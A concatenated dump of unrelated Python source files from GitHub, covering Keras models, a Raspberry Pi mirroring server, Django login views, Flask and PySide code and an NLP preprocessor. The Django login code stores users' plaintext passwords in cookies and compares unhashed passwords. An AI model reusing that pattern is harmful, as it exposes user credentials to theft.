len(categoricals) > 0:\r\n for cat in categoricals:\r\n enc = OneHotEncoder()\r\n train_cats = enc.fit_transform(train_df[[cat]])\r\n test_cats = enc.transform(test_df[[cat]])\r\n cat_cols = ['{}_{}'.format(cat, str(col)) for col in enc.active_features_]\r\n features += cat_cols\r\n train_cats = pd.DataFrame(train_cats.toarray(), columns=cat_cols)\r\n test_cats = pd.DataFrame(test_cats.toarray(), columns=cat_cols)\r\n train_df = pd.concat([train_df, train_cats], axis=1)\r\n test_df = pd.concat([test_df, test_cats], axis=1)\r\n scalar = MinMaxScaler()\r\n train_df[features] = scalar.fit_transform(train_df[features])\r\n test_df[features] = scalar.transform(test_df[features])\r\n print(train_df[features].shape)\r\n super().__init__(train_df, test_df, features, categoricals, n_splits, verbose)\r\n\r\n def train_model(self, train_set, val_set):\r\n verbosity = 100 if self.verbose else 0\r\n model = tf.keras.models.Sequential([\r\n tf.keras.layers.Input(shape=(train_set['X'].shape[1],)),\r\n tf.keras.layers.Dense(200, activation='relu'),\r\n tf.keras.layers.LayerNormalization(),\r\n tf.keras.layers.Dropout(0.3),\r\n tf.keras.layers.Dense(100, activation='relu'),\r\n tf.keras.layers.LayerNormalization(),\r\n tf.keras.layers.Dropout(0.3),\r\n tf.keras.layers.Dense(50, activation='relu'),\r\n tf.keras.layers.LayerNormalization(),\r\n tf.keras.layers.Dropout(0.3),\r\n tf.keras.layers.Dense(25, activation='relu'),\r\n tf.keras.layers.LayerNormalization(),\r\n tf.keras.layers.Dropout(0.3),\r\n tf.keras.layers.Dense(1, activation='relu')\r\n ])\r\n model.compile(optimizer=tf.keras.optimizers.Adam(learning_rate=4e-4), loss='mse')\r\n print(model.summary())\r\n save_best = tf.keras.callbacks.ModelCheckpoint('nn_model.w8', save_weights_only=True, save_best_only=True, verbose=1)\r\n early_stop = tf.keras.callbacks.EarlyStopping(patience=20)\r\n model.fit(train_set['X'],\r\n train_set['y'],\r\n validation_data=(val_set['X'], val_set['y']),\r\n epochs=100,\r\n callbacks=[save_best, early_stop])\r\n model.load_weights('nn_model.w8')\r\n return model\r\n\r\n def convert_dataset(self, x_train, y_train, x_val, y_val):\r\n train_set = {'X': x_train, 'y': y_train}\r\n val_set = {'X': x_val, 'y': y_val}\r\n return train_set, val_set\r\n\r\n def get_params(self):\r\n return None\r\n\r\n\r\nfrom random import choice\r\n\r\nclass Cnn_Model(Base_Model):\r\n\r\n def __init__(self, train_df, test_df, features, categoricals=[], n_splits=5, verbose=True):\r\n features = features.copy()\r\n if len(categoricals) > 0:\r\n for cat in categoricals:\r\n enc = OneHotEncoder()\r\n train_cats = enc.fit_transform(train_df[[cat]])\r\n test_cats = enc.transform(test_df[[cat]])\r\n cat_cols = ['{}_{}'.format(cat, str(col)) for col in enc.active_features_]\r\n features += cat_cols\r\n train_cats = pd.DataFrame(train_cats.toarray(), columns=cat_cols)\r\n test_cats = pd.DataFrame(test_cats.toarray(), columns=cat_cols)\r\n train_df = pd.concat([train_df, train_cats], axis=1)\r\n test_df = pd.concat([test_df, test_cats], axis=1)\r\n scalar = MinMaxScaler()\r\n train_df[features] = scalar.fit_transform(train_df[features])\r\n test_df[features] = scalar.transform(test_df[features])\r\n self.create_feat_2d(features)\r\n super().__init__(train_df, test_df, features, categoricals, n_splits, verbose)\r\n\r\n def create_feat_2d(self, features, n_feats_repeat=50):\r\n self.n_feats = len(features)\r\n self.n_feats_repeat = n_feats_repeat\r\n self.mask = np.zeros((self.n_feats_repeat, self.n_feats), dtype=np.int32)\r\n for i in range(self.n_feats_repeat):\r\n l = list(range(self.n_feats))\r\n for j in range(self.n_feats):\r\n c = l.pop(choice(range(len(l))))\r\n self.mask[i, j] = c\r\n self.mask = tf.convert_to_tensor(self.mask)\r\n print(self.mask.shape)\r\n\r\n\r\n def train_model(self, train_set, val_set):\r\n verbosity = 100 if self.verbose else 0\r\n\r\n inp = tf.keras.layers.Input(shape=(self.n_feats))\r\n x = tf.keras.layers.Lambda(lambda x: tf.gather(x, self.mask, axis=1))(inp)\r\n x = tf.keras.layers.Reshape((self.n_feats_repeat, self.n_feats, 1))(x)\r\n x = tf.keras.layers.Conv2D(18, (50, 50), strides=50, activation='relu')(x)\r\n x = tf.keras.layers.Flatten()(x)\r\n #x = tf.keras.layers.Dense(200, activation='relu')(x)\r\n #x = tf.keras.layers.LayerNormalization()(x)\r\n #x = tf.keras.layers.Dropout(0.3)(x)\r\n x = tf.keras.layers.Dense(100, activation='relu')(x)\r\n x = tf.keras.layers.LayerNormalization()(x)\r\n x = tf.keras.layers.Dropout(0.3)(x)\r\n x = tf.keras.layers.Dense(50, activation='relu')(x)\r\n x = tf.keras.layers.LayerNormalization()(x)\r\n x = tf.keras.layers.Dropout(0.3)(x)\r\n out = tf.keras.layers.Dense(1)(x)\r\n\r\n model = tf.keras.Model(inp, out)\r\n\r\n model.compile(optimizer=tf.keras.optimizers.Adam(learning_rate=1e-4), loss='mse')\r\n print(model.summary())\r\n save_best = tf.keras.callbacks.ModelCheckpoint('nn_model.w8', save_weights_only=True, save_best_only=True, verbose=1)\r\n early_stop = tf.keras.callbacks.EarlyStopping(patience=20)\r\n model.fit(train_set['X'],\r\n train_set['y'],\r\n validation_data=(val_set['X'], val_set['y']),\r\n epochs=100,\r\n callbacks=[save_best, early_stop])\r\n model.load_weights('nn_model.w8')\r\n return model\r\n\r\n def convert_dataset(self, x_train, y_train, x_val, y_val):\r\n train_set = {'X': x_train, 'y': y_train}\r\n val_set = {'X': x_val, 'y': y_val}\r\n return train_set, val_set\r\n\r\n def get_params(self):\r\n return None\r\n","repo_name":"yzflying/test_upload","sub_path":"___data-science-bowl-2019/_data-science-bowl-2019.py","file_name":"_data-science-bowl-2019.py","file_ext":"py","file_size_in_byte":21749,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"37312429486","text":"import json\nimport os\n\nfrom bq_external_table.utils import logger\n\nlog = logger.get_logger()\n\n\ndef load_json_config(path):\n \"\"\"\n Method to load a json file into a dict object\n\n :param path: Path of the json file\n :return: dict object of the json file\n \"\"\"\n json_file = open_json_file(path)\n log.info(\"Loading json config from file \" + path)\n return json.loads(json_file)\n\n\ndef open_json_file(path):\n \"\"\"\n Method to load a json file into a dict object\n\n :param path: Path of the json file\n :return: dict object of the json file or None if the file does not exist.\n \"\"\"\n log.info(\"Opening jsonfile \" + path)\n if os.path.isfile(path):\n with open(path) as json_file:\n return json_file.read()\n else:\n log.info(\"File \" + path + \" does not exist\")\n return None\n","repo_name":"gnvalente92/raw-data-to-table","sub_path":"bq_external_table/utils/utils_functions.py","file_name":"utils_functions.py","file_ext":"py","file_size_in_byte":834,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"72044325013","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n#Mirrorcast Server for Raspberry Pi.\n#Please use python3 and not 2.7, 2.7 will cause problems\n#Mirrorcast Server Version 0.7.5b\nimport socket,subprocess,time,logging, threading, os, datetime\nfrom omx import Omx\n\nlogging.basicConfig(filename='/var/log/mirrorcast_server.log',level=logging.DEBUG,format='%(asctime)s %(message)s', datefmt='%d/%m/%Y %I:%M:%S %p')\nlogging.info(\"Started Server\")\n\ntimestamp = time.localtime()\nconnected = \"\"\nready = False\nplaying = False\ntube = None\nsub = 0\naudio = 0\n\ndef connection():\n retries = 10\n try:\n sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n host = \"\"\n sock.bind((host,8092))\n \n sock.listen(5)\n \n global connected\n global timestamp\n global ready\n global playing\n \n global tube \n tube = Omx()\n \n while True:\n client, address = sock.accept()\n status = client.recv(8024)\n command = status.decode('ascii')\n print(command)\n command = command.split(\",\")\n #Some else is already connected\n if connected != command[1] and connected != \"\": \n client.send(\"busy\".encode('ascii'))\n logging.info(str(command[1]) + \" tried to connect but \" + str(connected) + \" is already connected\")\n #User started Casting/Mirroring or has Reconnected\n if command[0] == \"play\" or command[0] == \"play-srt\":\n if connected == \"\":\n connected = command[1]\n logging.info(connected + \" has connected\")\n if connected == command[1]:\n ready == False\n timestamp = time.localtime()\n if tube.player != None:\n kill(tube.player)\n if tube.dvdplayer != None:\n tube.dvdplayer.quit()\n subprocess.call(\"tvservice -p &\",shell=True)\n #Set up omxplayer to mirror screen.\n if command[0] == \"play\":\n tube.mirror()\n else:\n tube.mirror_srt()\n #Wait for omxplayer to load stream.\n time.sleep(5)\n #Inform client that it is now ok to start ffmpeg\n client.send(\"ready\".encode('ascii'))\n \n #Client intiated stop mirroring\n elif command[0] == \"stop\" and connected == command[1]: \n ready = False\n logging.info(connected + \" has disconnected\")\n connected = \"\"\n kill(tube.player)\n #subprocess.call(\"tvservice -o &\",shell=True)\n \n #Client wants to freeze the screen. There are 2 for backwars compatibility\n elif command[0] == \"freeze\" and connected == command[1]: \n ready = False\n connected = \"\"\n logging.info(connected + \" has freezed their screen\")\n #client.send(\"paused\".encode('ascii'))\n elif command[0] == \"freezee\" and connected == command[1]: \n ready = False\n connected = \"\"\n tube.pause()\n logging.info(connected + \" has freezed their screen\")\n client.send(\"paused\".encode('ascii'))\n \n #WIP, for playing youtube videos\n elif \"tube\" in command[0] and connected == \"\":\n if command[0] == \"tube-load\":\n if tube.player != None:\n kill(tube.player)\n tube.url = command[2]\n subprocess.call(\"tvservice -p &\",shell=True)\n if tube.youtube() == False:\n client.send(\"error\".encode('ascii'))\n playing = True\n else:\n while True:\n if tube.player.is_playing():\n client.send(\"ready\".encode('ascii'))\n playing = True\n break\n elif command[0] == \"tube-stop\" and tube.player != None:\n kill(tube.player)\n #subprocess.call(\"tvservice -o &\",shell=True)\n tube.player = None\n elif command[0] == \"tube-forward\" and tube.player != None:\n if tube.player.can_control():\n tube.player.seek(30)\n elif command[0] == \"tube-back\" and tube.player != None:\n if tube.player.can_control():\n tube.player.seek(-30)\n elif command[0] == \"tube-pause\":\n if tube.player.can_control():\n tube.player.play_pause()\n elif command[0] == \"tube-up\" and tube.player != None:\n if tube.player.can_control():\n if tube.player.volume() < 700.0:\n tube.player.set_volume(tube.player.volume() + 100.0)\n elif command[0] == \"tube-down\" and tube.player != None:\n if tube.player.can_control():\n if tube.player.volume() > -1550.0:\n tube.player.set_volume(tube.player.volume() - 100.0)\n elif command[0] == \"tube-track-down\" and tube.player != None:\n if tube.player.can_control():\n tube.player.action(6)\n elif command[0] == \"tube-track-up\" and tube.player != None:\n if tube.player.can_control():\n tube.player.action(7)\n elif command[0] == \"tube-vol\" and tube.player != None:\n if tube.player.can_control():\n tube.player.set_volume(float(command[2]))\n \n #This condition is met if the user wants to play a Media file.\n elif command[0] == \"media\" and connected == \"\":\n logging.info(connected + \" is trying to play a media file.\")\n subprocess.call(\"tvservice -p &\",shell=True)\n if tube.player != None:\n kill(tube.player)\n tube.player = None\n if tube.dvdplayer != None:\n tube.dvdplayer.quit()\n time.sleep(1)\n client.send(\"ready\".encode('ascii'))\n \n elif command[0] == \"media-start\" and connected == \"\":\n logging.info(connected + \"is attempting to play http://\" + str(address) + \":8090/\" + command[1])\n if tube.start_media(address[0], command[1]):\n logging.info(\"Playing \" + command[1])\n else:\n logging.info(\"Error Playing \" + command[1])\n elif \"dvd\" in command[0] and connected == \"\":\n if command[0] == \"dvd-start\" and connected == \"\":\n logging.info(connected + \"is attempting to play a DVD\")\n subprocess.call(\"tvservice -p &\",shell=True)\n newpath = r'/tmp/DVD' \n if not os.path.exists(newpath):\n os.makedirs(newpath)\n #subprocess.call(\"umount /tmp/DVD\",shell=True)\n subprocess.call(\"nbd-client -d /dev/nbd0\",shell=True)\n subprocess.call(\"nbd-client \" + str(address[0]) + \" -name dvd /dev/nbd0 -b 4096\", shell=True)\n tube.start_dvd()\n sub = 0\n #Get the amount of audio tracks and subtitles avaible on DVD(May cause issues when more than 1 movie on DVD)\n tube.get_tracks()\n elif command [0] == \"dvd-pause\" and tube.dvdplayer != None:\n if not tube.dvdplayer._get_property(\"pause\"):\n tube.dvdplayer.command('show_text', \"Paused\")\n tube.dvdplayer._set_property(\"pause\", True)\n else:\n tube.dvdplayer._set_property(\"pause\", False)\n tube.dvdplayer.command('show_text', \"Resumed\")\n elif command[0] == \"dvd-forward\" and tube.dvdplayer != None:\n tube.dvdplayer.seek(30)\n tube.dvdplayer.command('show_text', \"Seeking 30 seconds \" + str(datetime.timedelta(seconds=int(tube.dvdplayer._get_property(\"time-pos\")))) + \"/\" + str(datetime.timedelta(seconds=int(tube.dvdplayer._get_property(\"duration\")))))\n elif command[0] == \"dvd-back\" and tube.dvdplayer != None:\n tube.dvdplayer.seek(-30)\n tube.dvdplayer.command('show_text', \"Seeking back 30 seconds \" + str(datetime.timedelta(seconds=int(tube.dvdplayer._get_property(\"time-pos\")))) + \"/\" + str(datetime.timedelta(seconds=int(tube.dvdplayer._get_property(\"duration\")))))\n elif command[0] == \"dvd-stop\" and tube.dvdplayer != None:\n tube.dvdplayer.quit()\n del tube.dvdplayer\n tube.dvdplayer = None\n subprocess.call(\"tvservice -o &\",shell=True)\n elif command[0] == \"dvd-n-chapt\" and tube.dvdplayer != None:\n tube.dvdplayer._set_property(\"chapter\", tube.dvdplayer._get_property('chapter') + 1)\n tube.dvdplayer.command('show_text', \"Next Chapter \" + str(datetime.timedelta(seconds=int(tube.dvdplayer._get_property(\"time-pos\")))) + \"/\" + str(datetime.timedelta(seconds=int(tube.dvdplayer._get_property(\"duration\")))))\n elif command[0] == \"dvd-p-chapt\" and tube.dvdplayer != None:\n tube.dvdplayer._set_property(\"chapter\", tube.dvdplayer._get_property('chapter') - 1)\n tube.dvdplayer.command('show_text', \"Prevoius Chapter \" + str(datetime.timedelta(seconds=int(tube.dvdplayer._get_property(\"time-pos\")))) + \"/\" + str(datetime.timedelta(seconds=int(tube.dvdplayer._get_property(\"duration\")))))\n elif command[0] == \"dvd-vol\" and tube.dvdplayer != None:\n tube.dvdplayer._set_property(\"volume\", int(command[2]))\n tube.dvdplayer.command('show_text', \"Volume is now at \" + str(int(command[2])) + \"%\")\n elif command[0] == \"dvd-track-down\" and tube.dvdplayer != None:\n tube.dvdplayer.cycle(\"audio\", \"down\")\n tube.dvdplayer.command('show_text', \"Previous Audio Track\")\n elif command[0] == \"dvd-track-up\" and tube.dvdplayer != None:\n tube.dvdplayer.cycle(\"audio\", \"up\")\n tube.dvdplayer.command('show_text', \"Next Audio Track\")\n elif command[0] == \"dvd-subtitle\" and tube.dvdplayer != None:\n tube.get_tracks()\n if tube.subs >= 1:\n sub += 1\n tube.dvdplayer.command('show_text', \"Subtitle Track: \" + str(sub))\n if sub >= tube.subs:\n tube.dvdplayer._set_property(\"sub\", 0)\n sub = 0\n else:\n tube.dvdplayer.cycle(\"sub\", \"up\")\n else:\n tube.dvdplayer.command('show_text', \"No Subtitles Found\")\n else:\n print(tube.dvdplayer)\n elif command[0] == \"tu-media\" and connected == \"\":\n logging.info(connected + \" is trying to stream a youtube video\")\n subprocess.call(\"tvservice -p &\",shell=True)\n if tube.player != None:\n kill(tube.player)\n tube.player = None\n time.sleep(1)\n #Inform client that it is now ok to start ffmpeg\n client.send(\"ready\".encode('ascii'))\n \n #Check if client is still online\n elif command[0] == \"active\":\n timestamp = time.localtime()\n ready = True\n client.send(\"ok\".encode('ascii'))\n \n client.close()\n retries = 10\n except:\n retries = retries - 1\n #To prevent logs from getting spammed if there is a problem\n if retries > 0:\n logging.warn(\"There was a issue with sockets, will retry in 20 seconds\")\n time.sleep(20)\n return\n\ndef timeout():\n global connected\n global timestamp\n global ready\n while True:\n #Can no longer contact client, kill omxplayer\n now = time.mktime(time.localtime())\n stamp = time.mktime(timestamp)\n if (now - stamp) > 20 and connected != \"\" and ready == True:\n timestamp = time.localtime()\n logging.warn(connected + \" timed out. \" + str(now) + \" :: \" + str(stamp))\n ready = False\n if tube.player != None:\n kill(tube.player)\n #subprocess.call(\"tvservice -o &\",shell=True)\n tube.player = None\n time.sleep(1)\n connected = \"\"\n return\n \ndef kill(player):\n try:\n player.quit()\n except:\n pass\n \nloop = threading.Thread(target=timeout)\nloop.start()\nwhile True:\n connection()\n","repo_name":"ASHS-School/mirrorcast","sub_path":"server/mirrorcast_server_pi.py","file_name":"mirrorcast_server_pi.py","file_ext":"py","file_size_in_byte":13510,"program_lang":"python","lang":"en","doc_type":"code","stars":40,"dataset":"github-code","pt":"67"} +{"seq_id":"13575482127","text":"#!/usr/bin/env python\nimport numpy as np\nimport tamasis as tm\nimport lo\n\n# data\npacs = tm.PacsObservation(filename=tm.tamasis_dir+'tests/frames_blue.fits')\ntod = pacs.get_tod()\n# projector\nmodel = tm.Projection(pacs, resolution=3.2, oversampling=False, npixels_per_sample=6)\n# naive map\nbackmap = model.transpose(tod)\n# transform to lo\nP = lo.aslinearoperator(model.aslinearoperator())\n# priors\nDs = [lo.diff(backmap.shape, axis=axis) for axis in xrange(backmap.ndim)]\nDs.append(lo.pywt_lo.wavelet2(backmap.shape, \"haar\"))\n# inversion\ny = tod.flatten()\nx, conv = lo.rls(P, Ds, (1e1, 1e1, 1e-1), y)\nsol = backmap.zeros(backmap.shape)\nsol[:] = x.reshape(sol.shape)\n","repo_name":"nbarbey/csh","sub_path":"tests/test_tamasis.py","file_name":"test_tamasis.py","file_ext":"py","file_size_in_byte":664,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"67"} +{"seq_id":"8990933954","text":"import time\n\n# from django.http import JsonResponse\nfrom django.shortcuts import render,redirect,HttpResponse\nimport random, string\nfrom captcha.image import ImageCaptcha\nfrom login_regist.models import User\n\n# Create your views here.\n\n\ndef login(request):\n name1 = request.COOKIES.get(\"name\")\n pwd1 = request.COOKIES.get(\"pwd\")\n result = User.objects.filter(name=name1, password=pwd1)\n if result:\n request.session[\"login2\"] = \"OK\"\n return redirect(\"emplist:emplist\")\n return render(request, 'logist_regist/login.html')\n\n\ndef regist(request):\n return render(request, 'logist_regist/regist.html')\n\n\ndef loginlogic(request):\n name = request.POST.get(\"name\")\n pwd = request.POST.get(\"pwd\")\n rem = request.POST.get(\"remember\")\n print(rem)\n result = User.objects.filter(name=name, password=pwd)\n print(result)\n if result:\n res = redirect(\"emplist:emplist\")\n if rem:\n res.set_cookie(\"name\", name, max_age=7 * 24 * 3600)\n res.set_cookie(\"pwd\", pwd, max_age=7 * 24 * 3600)\n request.session[\"login2\"] = \"OK\"\n return res\n else:\n return redirect(\"logist_regist:logic\")\n\n\ndef registlogic(request):\n headpic = request.FILES.get(\"headpic\")\n name = request.POST.get(\"username\")\n pwd = request.POST.get(\"userpwd\")\n age = request.POST.get(\"age\")\n salary = request.POST.get(\"salary\")\n code = request.session.get(\"code\")\n result = User.objects.filter(name=name).all()\n print(result)\n if not result:\n if code.lower() == request.POST.get('captcha').lower():\n User.objects.create(headpic=headpic, name=name, password=pwd, age=age, salary=salary)\n request.session[\"login2\"] = \"Error\"\n return redirect(\"logist_regist:logic\")\n return render(request, \"logist_regist/regist.html\")\n\n\ndef getcaptcha(request):\n image = ImageCaptcha()\n code = random.sample(string.ascii_letters, 4)\n random_code = \"\".join(code)\n print(random_code)\n request.session['code'] = random_code\n data = image.generate(random_code)\n return HttpResponse(data, 'image/png')\n\n\ndef setVerificationCode(request):\n time.sleep(3)\n codes = request.session.get('code')\n print(codes)\n ma = request.POST.get(\"number\")\n print(ma)\n if ma.lower() == codes.lower():\n return HttpResponse(\"True\")\n return HttpResponse(\"False\")\n\n\ndef username(request):\n time.sleep(3)\n na = request.POST.get(\"name\")\n print(na)\n\n # def user_default(u):\n # if isinstance(u, User):\n # return {'id': u.id, 'username': u.name, 'password': u.password}\n #\n name = User.objects.filter(name=na)\n # print(name)\n # return JsonResponse({\"users\": list(name)}, json_dumps_params={\"default\": user_default})\n if name:\n return HttpResponse(\"error\")\n return HttpResponse(\"ok\")\n\n","repo_name":"wuzete/day1homework","sub_path":"login_regist/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2856,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"35398212101","text":"\"\"\"Fil to get resources from the Catastro table.\"\"\"\nfrom typing import Dict, Tuple\n\nfrom flask_restx import Namespace, Resource\n\nfrom ... import api\nfrom ...utils.response import Response\nfrom .Reportes.models.catastral import Catastral as Model\nfrom .Reportes.models.catastral import catastral_schema\n\nns = Namespace(\"CATASTRAL\", description=\"Catastro Basic Information\")\n\n\n@ns.route(\"//\", methods=[\"GET\"])\nclass Catastral(Resource):\n \"\"\"class to get the Catastral data.\"\"\"\n\n def get(self, catastro: int, key: str) -> Tuple[Dict, int]:\n \"\"\"Get the Catastral data.\"\"\"\n record = Model.query.filter_by(id=catastro).first()\n if not record:\n return Response.bad_request(\n message=\"No existe el registro de catastro consultado\",\n operation=\"CATASTRAL\",\n )\n return Response.success(\n data=catastral_schema.dump(record)[key],\n message=\"Datos obtenidos exitosamente\",\n operation=\"CATASTRAL\",\n )\n\n\napi.add_namespace(ns)\n","repo_name":"Master-Git-Hack/Cadastral","sub_path":"Backend/src/apps/Catastro/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1063,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"73345656853","text":"\"\"\"\nModule for base save pattern definition\n\nStarts by serializing to temp folder and formatting\n\"\"\"\n\n__author__ = \"Elisha Yadgaran\"\n\n\nimport logging\nfrom typing import Any, Dict, Tuple, Type\n\nLOGGER = logging.getLogger(__name__)\n\n\nclass BaseSavePattern(object):\n \"\"\"\n Base class for save patterns (registered wrappers for the collection of\n serializers and deserializers)\n \"\"\"\n\n serializers: Tuple[Type[\"BaseSerializer\"]] = tuple()\n deserializers: Tuple[Type[\"BaseSerializer\"]] = tuple()\n\n @classmethod\n def save(cls, **kwargs) -> Dict[str, str]:\n \"\"\"\n Routine to iterate through serializers returning the final metadata\n \"\"\"\n if not cls.serializers:\n raise ValueError(\"Need to specify at least one serialization class\")\n for serializer in cls.serializers:\n LOGGER.debug(f\"Serializing with {serializer}\")\n params = serializer.serialize(**kwargs)\n LOGGER.debug(f\"Serialization params: {params}\")\n kwargs.update(params)\n return params\n\n @classmethod\n def load(cls, **kwargs) -> Any:\n \"\"\"\n The load method invoked\n \"\"\"\n if not cls.deserializers:\n raise ValueError(\"Need to specify at least one deserialization class\")\n\n for deserializer in cls.deserializers:\n LOGGER.debug(f\"Deserializing with {deserializer}\")\n params = deserializer.deserialize(**kwargs)\n LOGGER.debug(f\"Deserialization params: {params}\")\n kwargs.update(params)\n return params[\"obj\"]\n\n\nclass BaseSerializer(object):\n @staticmethod\n def serialize(**kwargs) -> Dict[str, str]:\n raise NotImplementedError\n\n @staticmethod\n def deserialize(**kwargs) -> Dict[str, Any]:\n raise NotImplementedError\n","repo_name":"eyadgaran/SimpleML","sub_path":"simpleml/save_patterns/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":1807,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"67"} +{"seq_id":"16513053513","text":"from PySide6.QtWidgets import (\n QGridLayout,\n QWidget,\n QHBoxLayout,\n)\n\nfrom .elements import (\n PushButtonParameters,\n LabelParameters,\n ComboBoxParameters,\n LineEditParameters,\n WidgetParameters,\n)\nfrom .settings import (\n NAME_WIDGET,\n NAME_PUSH_BUTTON,\n NAME_LINE_EDIT,\n NAME_LABEL,\n NAME_COMBO_BOX,\n WIDTH_WIDGET,\n HEIGHT_PARAMETERS_WIDGET,\n WIDTH_PUSH_BUTTON_WITH_IMAGE,\n HEIGHT_PUSH_BUTTON_WITH_IMAGE,\n WIDTH_COMBO_BOX,\n HEIGHT_COMBO_BOX,\n WIDTH_LINE_EDIT,\n HEIGHT_LINE_EDIT,\n)\n\n\nclass SettingsWindget:\n def __init__(self, widget: QWidget) -> None:\n self.widget = QWidget(widget)\n self.__add_push_button()\n self.__add_label()\n self.__align_elements()\n\n def __add_push_button(self) -> None:\n self.push_button_settings = PushButtonParameters(\n self.widget,\n NAME_PUSH_BUTTON,\n WIDTH_PUSH_BUTTON_WITH_IMAGE,\n HEIGHT_PUSH_BUTTON_WITH_IMAGE,\n style_image=True,\n image_path=\"./icons/edit.png\",\n ).push_button\n\n def __add_label(self) -> None:\n self.label_settings = LabelParameters(\n self.widget, NAME_LABEL, \"Параметры:\"\n ).label\n\n def __align_elements(self) -> None:\n horizontal_layout = QHBoxLayout(self.widget)\n horizontal_layout.addWidget(self.label_settings)\n horizontal_layout.addWidget(self.push_button_settings)\n horizontal_layout.setContentsMargins(110, 0, 110, 0)\n\n\nclass ParametersWidget:\n def __init__(self, widget: QWidget) -> None:\n self.widget = WidgetParameters(\n widget,\n NAME_WIDGET,\n WIDTH_WIDGET,\n HEIGHT_PARAMETERS_WIDGET,\n style=True,\n ).widget\n self.__add_widget()\n self.__add_push_button()\n self.__add_labels()\n self.__add_comobo_box()\n self.__add_line_edit()\n self.__align_elements()\n\n def __add_widget(self) -> None:\n self.widget_settings = SettingsWindget(self.widget)\n\n def __add_push_button(self) -> None:\n self.push_button_settings = self.widget_settings.push_button_settings\n\n def __add_labels(self) -> None:\n self.label_settings = self.widget_settings.label_settings\n self.label_material = LabelParameters(\n self.widget, NAME_LABEL, \"Материал детали:\"\n ).label\n self.label_brand = LabelParameters(\n self.widget, NAME_LABEL, \"Марка:\"\n ).label\n self.label_type_part = LabelParameters(\n self.widget, NAME_LABEL, \"Класс детали:\"\n ).label\n self.label_name_part = LabelParameters(\n self.widget, NAME_LABEL, \"Название детали:\"\n ).label\n\n def __add_comobo_box(self) -> None:\n self.combo_box_material = ComboBoxParameters(\n self.widget,\n NAME_COMBO_BOX,\n WIDTH_COMBO_BOX,\n HEIGHT_COMBO_BOX,\n ).combo_box\n self.combo_box_brand = ComboBoxParameters(\n self.widget,\n NAME_COMBO_BOX,\n WIDTH_COMBO_BOX,\n HEIGHT_COMBO_BOX,\n ).combo_box\n self.combo_box_type_part = ComboBoxParameters(\n self.widget,\n NAME_COMBO_BOX,\n WIDTH_COMBO_BOX,\n HEIGHT_COMBO_BOX,\n ).combo_box\n\n def __add_line_edit(self) -> None:\n self.line_edit_name_part = LineEditParameters(\n self.widget, NAME_LINE_EDIT, WIDTH_LINE_EDIT, HEIGHT_LINE_EDIT\n ).line_edit\n\n def __align_elements(self) -> None:\n grid_layout = QGridLayout(self.widget)\n grid_layout.addWidget(self.combo_box_material, 3, 1, 1, 1)\n grid_layout.addWidget(self.combo_box_brand, 4, 1, 1, 1)\n grid_layout.addWidget(self.combo_box_type_part, 2, 1, 1, 1)\n grid_layout.addWidget(self.label_material, 3, 0, 1, 1)\n grid_layout.addWidget(self.label_brand, 4, 0, 1, 1)\n grid_layout.addWidget(self.label_name_part, 0, 0, 1, 1)\n grid_layout.addWidget(self.label_type_part, 2, 0, 1, 1)\n grid_layout.addWidget(self.line_edit_name_part, 0, 1, 1, 1)\n grid_layout.addWidget(self.widget_settings.widget, 5, 0, 1, 2)\n grid_layout.setContentsMargins(10, 10, 10, 10)\n","repo_name":"WolfMTK/ASAMP","sub_path":"widgets/settings_widget.py","file_name":"settings_widget.py","file_ext":"py","file_size_in_byte":4315,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"20695602839","text":"import re\nimport nltk\nimport string\nimport pickle\nfrom nltk.stem import WordNetLemmatizer \nfrom nltk.tokenize import word_tokenize\nfrom konlpy.tag import Okt \nfrom nltk.corpus import stopwords\nfrom normalise import normalise\n\nclass LanguagePreprocessor():\n \n def __init__(self, lang, stop):\n self.text = '' \n self.lang = lang\n self.stop = stop\n\n def get_text_eng(self, text):\n regex = re.compile(f'[{string.punctuation+string.ascii_letters+string.whitespace}]+')\n return ' '.join(regex.findall(text))\n \n def get_text_kor(self, text):\n regex = re.compile(f'[^{string.punctuation+\"ㄱ-힣\"+string.whitespace}]+')\n self.text = regex.sub(f'', self.text)\n self.text = re.sub(r'(.)\\1\\1+',r'\\1\\1', self.text)\n return text\n \n def normalize_text_eng(self):\n self.text = ' '.join(normalise(word_tokenize(self.text), verbose=False))\n \n def stemming_eng(self):\n lemmatizer = WordNetLemmatizer()\n self.text = ' '.join([lemmatizer.lemmatize(w) for w in word_tokenize(self.text)])\n \n def stemming_kor(self):\n okt=Okt() \n self.text = ' '.join(okt.nouns(self.text))\n \n def remove_stopwords_eng(self):\n self.text = ' '.join([word.lower() for word in word_tokenize(self.text) if word not in set(stopwords.words('english'))])\n \n def remove_stopwords_kor(self):\n if(self.stop != None):\n open_file = open(self.stop, \"rb\")\n stopwords = pickle.load(open_file) \n self.text = ' '.join([word.lower() for word in word_tokenize(self.text) if word not in set(stopwords)])\n \n \n def __call__(self, text): \n if (self.lang == 'KOR'):\n self.text = self.get_text_kor(text)\n self.remove_stopwords_kor()\n self.stemming_kor()\n \n if (self.lang == 'ENG'):\n self.text = self.get_text_eng(text)\n self.normalize_text_eng()\n self.remove_stopwords_eng()\n self.stemming_eng()\n\n print(self.text)","repo_name":"zoekimm/MLInternship2021","sub_path":"NLP/languagepreprocessor/languagepreprocessor.py","file_name":"languagepreprocessor.py","file_ext":"py","file_size_in_byte":2073,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"16761063441","text":"import pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom matplotlib.lines import Line2D\nimport os\nimport scipy.stats as stat\n\nimport lib.funcs.perc_contributions_WRAP\nimport lib.funcs.dat_io as io\nimport lib.funcs.foodsupply_trajectory\nimport lib.dat.colours\nimport lib.dat.food_commodity_seperation\nimport 